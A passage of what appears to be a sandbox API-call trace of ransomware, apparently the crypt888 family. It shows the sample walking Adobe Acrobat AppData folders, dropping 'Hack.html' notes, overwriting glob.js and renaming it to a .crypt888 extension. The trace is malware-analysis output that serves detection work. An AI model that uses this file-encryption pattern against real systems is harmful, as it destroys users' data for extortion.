(in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.177] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.177] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.177] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.177] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.177] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.178] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x3b [0079.178] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x3c [0079.178] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a328 [0079.180] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.180] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.180] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.180] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x3b [0079.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x3c [0079.181] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a328 [0079.181] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.181] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.181] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x40 [0079.182] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x41 [0079.182] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a328 [0079.182] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.182] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.182] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.182] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.183] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.183] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x40 [0079.183] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x41 [0079.183] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a328 [0079.184] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.184] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.185] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", lpFilePart=0x0) returned 0x47 [0079.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\", lpFilePart=0x0) returned 0x48 [0079.185] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0079.186] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.186] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", lpFilePart=0x0) returned 0x47 [0079.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\", lpFilePart=0x0) returned 0x48 [0079.186] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0079.187] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.187] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.187] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\Hack.html", lpFilePart=0x0) returned 0x51 [0079.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\collab\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.188] GetFileType (hFile=0x174) returned 0x1 [0079.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.188] GetFileType (hFile=0x174) returned 0x1 [0079.188] WriteFile (in: hFile=0x174, lpBuffer=0x275cca0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x275cca0*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.189] CloseHandle (hObject=0x174) returned 1 [0079.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", lpFilePart=0x0) returned 0x46 [0079.189] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\", lpFilePart=0x0) returned 0x47 [0079.190] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0079.190] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.190] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.190] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", lpFilePart=0x0) returned 0x46 [0079.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\", lpFilePart=0x0) returned 0x47 [0079.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0079.191] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.191] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.191] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\Hack.html", lpFilePart=0x0) returned 0x50 [0079.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\forms\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.192] GetFileType (hFile=0x174) returned 0x1 [0079.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.192] GetFileType (hFile=0x174) returned 0x1 [0079.192] WriteFile (in: hFile=0x174, lpBuffer=0x2760d6c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2760d6c*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.193] CloseHandle (hObject=0x174) returned 1 [0079.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", lpFilePart=0x0) returned 0x4c [0079.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\", lpFilePart=0x0) returned 0x4d [0079.194] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0079.194] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.194] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.194] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.195] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.195] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.195] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", lpFilePart=0x0) returned 0x4c [0079.195] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\", lpFilePart=0x0) returned 0x4d [0079.195] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a328 [0079.195] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.196] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.196] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.196] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.196] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", lpFilePart=0x0) returned 0x54 [0079.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eba0) returned 1 [0079.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.197] GetFileType (hFile=0x174) returned 0x1 [0079.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb9c) returned 1 [0079.197] GetFileType (hFile=0x174) returned 0x1 [0079.197] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0x0 [0079.197] CloseHandle (hObject=0x174) returned 1 [0079.215] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", lpFilePart=0x0) returned 0x54 [0079.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0079.215] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.215] GetFileType (hFile=0x174) returned 0x1 [0079.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0079.215] GetFileType (hFile=0x174) returned 0x1 [0079.215] WriteFile (in: hFile=0x174, lpBuffer=0x27b10b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x39ec18, lpOverlapped=0x0 | out: lpBuffer=0x27b10b8*, lpNumberOfBytesWritten=0x39ec18*=0x10, lpOverlapped=0x0) returned 1 [0079.216] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", lpFilePart=0x0) returned 0x54 [0079.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js.crypt888", lpFilePart=0x0) returned 0x5d [0079.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0079.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xc0690fa0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0079.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0079.217] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js.crypt888")) returned 1 [0079.220] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", lpFilePart=0x0) returned 0x5d [0079.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eba0) returned 1 [0079.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, 